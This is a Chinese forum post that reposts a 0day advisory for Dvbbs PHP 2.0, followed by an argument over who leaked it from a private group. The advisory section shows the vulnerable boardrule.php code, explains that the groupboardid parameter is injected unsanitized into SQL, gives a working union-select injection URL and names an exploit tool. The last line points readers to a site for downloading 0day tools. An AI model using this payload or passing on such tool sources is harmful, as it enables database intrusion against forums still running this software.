由Dvbbs PHP 0day引发的争论

昨天刚刚得到Dvbbs PHP 0day 的资料，看来还是晚了，今天无意间发现了有趣的事情，所以就给大家贴出来。呵呵

漏洞给大家播报下
================================================================
Dvbbs PHP 0day
影响版本：2.0
漏洞文件：/boardrule.php
Author：sniperhg 小蟑螂
信息来源：零客网安 www.0kee.com
--------------------分割JJ----------------------
相关代码：
function brule() {
    global $dv,$db,$boardid,$lang,$groupboardid;
    $groupboardid=$_GET['groupboardid'];
    if(!empty($_GET['groupboardid'])){
        $rules=$db->scalar("select rules from {$dv}group_board where id={$groupboardid}");  

    }
    else{
        $rules=$db->scalar("select rules from {$dv}board where boardid={$boardid}");   
    }
直接获得变量groupboardid，不为空就直接带入查询导致注入。
测试：http://dvbbsroot/boardrule.php?groupboardid=111111111/**/union/**/select/**/version

()/*
利用工具 dvbbs_php2.0_fucker_.exe  MD5 : 6b931f8e00e90cf4b1faa531a59d4b36

=========================================================================================
(应该是0DAY的发现者说的，还有可能是零客的老大 下称作者)题外话：这个0day作为内部信息我只在10号那天在群共享里发了。
之前sniperhg本打算在清明节时发出来，没想到今天下午无意中在鬼仔的blog里看到了这个。
http://www.huaidan.org/blog/article.asp?id=1767
文中除了把版权信息去掉了之外跟我在群里发的txt几乎一个字都不带差的。居然说是拣的。

东西发就发了，无所谓，也不是多好的东西。
但是就这件事，我非常不爽。
是谁泄露的，我早晚会查个水落石出。

 

 

跟帖。。。

我X那个人。

鬼仔也不厚道~

 

。。。。。。
不是我不厚道，我是没想那么多就发出来了。

不好意思。

 

 

 

 

 

你还真会捡啊???/

 

 

 

关于发布的ODAY工具，网上的大都不能用 大家可以到 http://www.520jsj.com上去下载，也可以到上面的官方去下载哦。